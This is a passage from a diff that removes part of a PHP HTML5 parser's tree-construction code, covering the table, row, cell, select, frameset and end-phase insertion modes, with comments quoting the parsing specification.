Take all of the child nodes of the furthest - block and append them to the clone created in the - last step. */ - while($furthest_block->hasChildNodes()) { - $child = $furthest_block->firstChild; - $furthest_block->removeChild($child); - $clone->appendChild($child); - } - - /* 11. Append that clone to the furthest block. */ - $furthest_block->appendChild($clone); - - /* 12. Remove the formatting element from the list - of active formatting elements, and insert the clone - into the list of active formatting elements at the - position of the aforementioned bookmark. */ - $fe_af_pos = array_search($formatting_element, $this->a_formatting, true); - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - - $af_part1 = array_slice($this->a_formatting, 0, $bookmark - 1); - $af_part2 = array_slice($this->a_formatting, $bookmark, count($this->a_formatting)); - $this->a_formatting = array_merge($af_part1, array($clone), $af_part2); - - /* 13. Remove the formatting element from the stack - of open elements, and insert the clone into the stack - of open elements immediately after (i.e. in a more - deeply nested position than) the position of the - furthest block in that stack. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $fb_s_pos = array_search($furthest_block, $this->stack, true); - unset($this->stack[$fe_s_pos]); - - $s_part1 = array_slice($this->stack, 0, $fb_s_pos); - $s_part2 = array_slice($this->stack, $fb_s_pos + 1, count($this->stack)); - $this->stack = array_merge($s_part1, array($clone), $s_part2); - - /* 14. Jump back to step 1 in this series of steps. */ - unset($formatting_element, $fe_af_pos, $fe_s_pos, $furthest_block); - } - break; - - /* An end tag token whose tag name is one of: "button", - "marquee", "object" */ - case 'button': case 'marquee': case 'object': - /* If the stack of open elements has an element in scope whose - tag name matches the tag name of the token, then generate implied - tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // k - - /* Now, if the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then pop - elements from the stack until that element has been popped from - the stack, and clear the list of active formatting elements up - to the last marker. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - - $marker = end(array_keys($this->a_formatting, self::MARKER, true)); - - for($n = count($this->a_formatting) - 1; $n > $marker; $n--) { - array_pop($this->a_formatting); - } - } - break; - - /* Or an end tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "hr", "iframe", "image", "img", - "input", "isindex", "noembed", "noframes", "param", "select", - "spacer", "table", "textarea", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'hr': case 'iframe': case 'image': - case 'img': case 'input': case 'isindex': case 'noembed': - case 'noframes': case 'param': case 'select': case 'spacer': - case 'table': case 'textarea': case 'wbr': - // Parse error. Ignore the token. - break; - - /* An end tag token not covered by the previous entries */ - default: - for($n = count($this->stack) - 1; $n >= 0; $n--) { - /* Initialise node to be the current node (the bottommost - node of the stack). */ - $node = end($this->stack); - - /* If node has the same tag name as the end tag token, - then: */ - if($token['name'] === $node->nodeName) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* If the tag name of the end tag token does not - match the tag name of the current node, this is a - parse error. */ - // k - - /* Pop all the nodes from the current node up to - node, including node, then stop this algorithm. */ - for($x = count($this->stack) - $n; $x >= $n; $x--) { - array_pop($this->stack); - } - - } else { - $category = $this->getElementCategory($node); - - if($category !== self::SPECIAL && $category !== self::SCOPING) { - /* Otherwise, if node is in neither the formatting - category nor the phrasing category, then this is a - parse error. Stop this algorithm. The end tag token - is ignored. */ - return false; - } - } - } - break; - } - break; - } - } - - private function inTable($token) { - $clear = array('html', 'table'); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "caption" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'caption') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - - /* Insert an HTML element for the token, then switch the - insertion mode to "in caption". */ - $this->insertElement($token); - $this->mode = self::IN_CAPTION; - - /* A start tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'colgroup') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the - insertion mode to "in column group". */ - $this->insertElement($token); - $this->mode = self::IN_CGROUP; - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'col') { - $this->inTable(array( - 'name' => 'colgroup', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - $this->inColumnGroup($token); - - /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('tbody', 'tfoot', 'thead'))) { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in table body". */ - $this->insertElement($token); - $this->mode = self::IN_TBODY; - - /* A start tag whose tag name is one of: "td", "th", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && - in_array($token['name'], array('td', 'th', 'tr'))) { - /* Act as if a start tag token with the tag name "tbody" had been - seen, then reprocess the current token. */ - $this->inTable(array( - 'name' => 'tbody', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inTableBody($token); - - /* A start tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'table') { - /* Parse error. Act as if an end tag token with the tag name "table" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inTable(array( - 'name' => 'table', - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - - /* An end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - return false; - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a table element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a table element has been - popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'table') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'tbody', 'td', - 'tfoot', 'th', 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Parse error. Process the token as if the insertion mode was "in - body", with the following exception: */ - - /* If the current node is a table, tbody, tfoot, thead, or tr - element, then, whenever a node would be inserted into the current - node, it must instead be inserted into the foster parent element. */ - if(in_array(end($this->stack)->nodeName, - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* The foster parent element is the parent element of the last - table element in the stack of open elements, if there is a - table element and it has such a parent element. If there is no - table element in the stack of open elements (innerHTML case), - then the foster parent element is the first element in the - stack of open elements (the html element). Otherwise, if there - is a table element in the stack of open elements, but the last - table element in the stack of open elements has no parent, or - its parent node is not an element, then the foster parent - element is the element before the last table element in the - stack of open elements. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table') { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $table->parentNode !== null) { - $this->foster_parent = $table->parentNode; - - } elseif(!isset($table)) { - $this->foster_parent = $this->stack[0]; - - } elseif(isset($table) && ($table->parentNode === null || - $table->parentNode->nodeType !== XML_ELEMENT_NODE)) { - $this->foster_parent = $this->stack[$n - 1]; - } - } - - $this->inBody($token); - } - } - - private function inCaption($token) { - /* An end tag whose tag name is "caption" */ - if($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a caption element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a caption element has - been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === 'caption') { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag - name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) || ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table')) { - /* Parse error. Act as if an end tag with the tag name "caption" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inCaption(array( - 'name' => 'caption', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - - /* An end tag whose tag name is one of: "body", "col", "colgroup", - "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'col', 'colgroup', 'html', 'tbody', 'tfoot', 'th', - 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inColumnGroup($token) { - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') { - /* Insert a col element for the token. Immediately pop the current - node off the stack of open elements. */ - $this->insertElement($token); - array_pop($this->stack); - - /* An end tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'colgroup') { - /* If the current node is the root html element, then this is a - parse error, ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - /* Otherwise, pop the current node (which will be a colgroup - element) from the stack of open elements. Switch the insertion - mode to "in table". */ - } else { - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* An end tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Act as if an end tag with the tag name "colgroup" had been seen, - and then, if that token wasn't ignored, reprocess the current token. */ - $this->inColumnGroup(array( - 'name' => 'colgroup', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - } - } - - private function inTableBody($token) { - $clear = array('tbody', 'tfoot', 'thead', 'html'); - - /* A start tag whose tag name is "tr" */ - if($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Insert a tr element for the token, then switch the insertion - mode to "in row". */ - $this->insertElement($token); - $this->mode = self::IN_ROW; - - /* A start tag whose tag name is one of: "th", "td" */ - } elseif($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Parse error. Act as if a start tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inTableBody(array( - 'name' => 'tr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inRow($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node from the stack of open elements. Switch - the insertion mode to "in table". */ - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead'))) || - ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')) { - /* If the stack of open elements does not have a tbody, thead, or - tfoot element in table scope, this is a parse error. Ignore the - token. (innerHTML case) */ - if(!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Act as if an end tag with the same tag name as the current - node ("tbody", "tfoot", or "thead") had been seen, then - reprocess the current token. */ - $this->inTableBody(array( - 'name' => end($this->stack)->nodeName, - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inRow($token) { - $clear = array('tr', 'html'); - - /* A start tag whose tag name is one of: "th", "td" */ - if($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in cell". */ - $this->insertElement($token); - $this->mode = self::IN_CELL; - - /* Insert a marker at the end of the list of active formatting - elements. */ - $this->a_formatting[] = self::MARKER; - - /* An end tag whose tag name is "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node (which will be a tr element) from the - stack of open elements. Switch the insertion mode to "in table - body". */ - array_pop($this->stack); - $this->mode = self::IN_TBODY; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* Act as if an end tag with the tag name "tr" had been seen, then, - if that token wasn't ignored, reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Otherwise, act as if an end tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inCell($token) { - /* An end tag whose tag name is one of: "td", "th" */ - if($token['type'] === HTML5::ENDTAG && - ($token['name'] === 'td' || $token['name'] === 'th')) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token, then this is a - parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Generate implied end tags, except for elements with the same - tag name as the token. */ - $this->generateImpliedEndTags(array($token['name'])); - - /* Now, if the current node is not an element with the same tag - name as the token, then this is a parse error. */ - // k - - /* Pop elements from this stack until an element with the same - tag name as the token has been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === $token['name']) { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in row". (The current node - will be a tr element at this point.) */ - $this->mode = self::IN_ROW; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html'))) { - /* Parse error. Ignore the token. */ - - /* An end tag whose tag name is one of: "table", "tbody", "tfoot", - "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token (which can only - happen for "tbody", "tfoot" and "thead", or, in the innerHTML case), - then this is a parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inSelect($token) { - /* Handle the token as follows: */ - - /* A character token */ - if($token['type'] === HTML5::CHARACTR) { - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'option') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* A start tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'optgroup') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, act as if an end tag - with the tag name "optgroup" had been seen. */ - if(end($this->stack)->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'optgroup', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* An end tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'optgroup') { - /* First, if the current node is an option element, and the node - immediately before it in the stack of open elements is an optgroup - element, then act as if an end tag with the tag name "option" had - been seen. */ - $elements_in_stack = count($this->stack); - - if($this->stack[$elements_in_stack - 1]->nodeName === 'option' && - $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if($this->stack[$elements_in_stack - 1] === 'optgroup') { - array_pop($this->stack); - } - - /* An end tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'option') { - /* If the current node is an option element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if(end($this->stack)->nodeName === 'option') { - array_pop($this->stack); - } - - /* An end tag whose tag name is "select" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'select') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // w/e - - /* Otherwise: */ - } else { - /* Pop elements from the stack of open elements until a select - element has been popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'select') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* A start tag whose tag name is "select" */ - } elseif($token['name'] === 'select' && - $token['type'] === HTML5::STARTTAG) { - /* Parse error. Act as if the token had been an end tag with the - tag name "select" instead. */ - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - /* An end tag whose tag name is one of: "caption", "table", "tbody", - "tfoot", "thead", "tr", "td", "th" */ - } elseif(in_array($token['name'], array('caption', 'table', 'tbody', - 'tfoot', 'thead', 'tr', 'td', 'th')) && $token['type'] === HTML5::ENDTAG) { - /* Parse error. */ - // w/e - - /* If the stack of open elements has an element in table scope with - the same tag name as that of the token, then act as if an end tag - with the tag name "select" had been seen, and reprocess the token. - Otherwise, ignore the token. */ - if($this->elementInScope($token['name'], true)) { - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - $this->mainPhase($token); - } - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterBody($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed if the insertion mode - was "in body". */ - $this->inBody($token); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the first element in the stack of open - elements (the html element), with the data attribute set to the - data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->stack[0]->appendChild($comment); - - /* An end tag with the tag name "html" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') { - /* If the parser was originally created in order to handle the - setting of an element's innerHTML attribute, this is a parse error; - ignore the token. (The element will be an html element in this - case.) (innerHTML case) */ - - /* Otherwise, switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* Anything else */ - } else { - /* Parse error. Set the insertion mode to "in body" and reprocess - the token. */ - $this->mode = self::IN_BODY; - return $this->inBody($token); - } - } - - private function inFrameset($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::STARTTAG) { - $this->insertElement($token); - - /* An end tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::ENDTAG) { - /* If the current node is the root html element, then this is a - parse error; ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - } else { - /* Otherwise, pop the current node from the stack of open - elements. */ - array_pop($this->stack); - - /* If the parser was not originally created in order to handle - the setting of an element's innerHTML attribute (innerHTML case), - and the current node is no longer a frameset element, then change - the insertion mode to "after frameset". */ - $this->mode = self::AFTR_FRAME; - } - - /* A start tag with the tag name "frame" */ - } elseif($token['name'] === 'frame' && - $token['type'] === HTML5::STARTTAG) { - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterFrameset($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* An end tag with the tag name "html" */ - } elseif($token['name'] === 'html' && - $token['type'] === HTML5::ENDTAG) { - /* Switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function trailingEndPhase($token) { - /* After the main phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed in the main phase. */ - $this->mainPhase($token); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or a start tag token. Or an end tag token. */ - } elseif(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG) { - /* Parse error. Switch back to the main phase and reprocess the - token. */ - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* OMG DONE!! */ - } - } - - private function insertElement($token, $append = true) { - $el = $this->dom->createElement($token['name']); - - foreach($token['attr'] as $attr) { - if(!$el->hasAttribute($attr['name'])) { - $el->setAttribute($attr['name'], $attr['value']); - } - } - - $this->appendToRealParent($el); - $this->stack[] = $el; - - return $el; - } - - private function insertText($data) { - $text = $this->dom->createTextNode($data); - $this->appendToRealParent($text); - } - - private function insertComment($data) { - $comment = $this->dom->createComment($data); - $this->appendToRealParent($comment); - } - - private function appendToRealParent($node) { - if($this->foster_parent === null) { - end($this->stack)->appendChild($node); - - } elseif($this->foster_parent !== null) { - /* If the foster parent element is the parent element of the - last table element in the stack of open elements, then the new - node must be inserted immediately before the last table element - in the stack of open elements in the foster parent element; - otherwise, the new node must be appended to the foster parent - element. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table' && - $this->stack[$n]->parentNode !== null) { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $this->foster_parent->isSameNode($table->parentNode)) - $this->foster_parent->insertBefore($node, $table); - else - 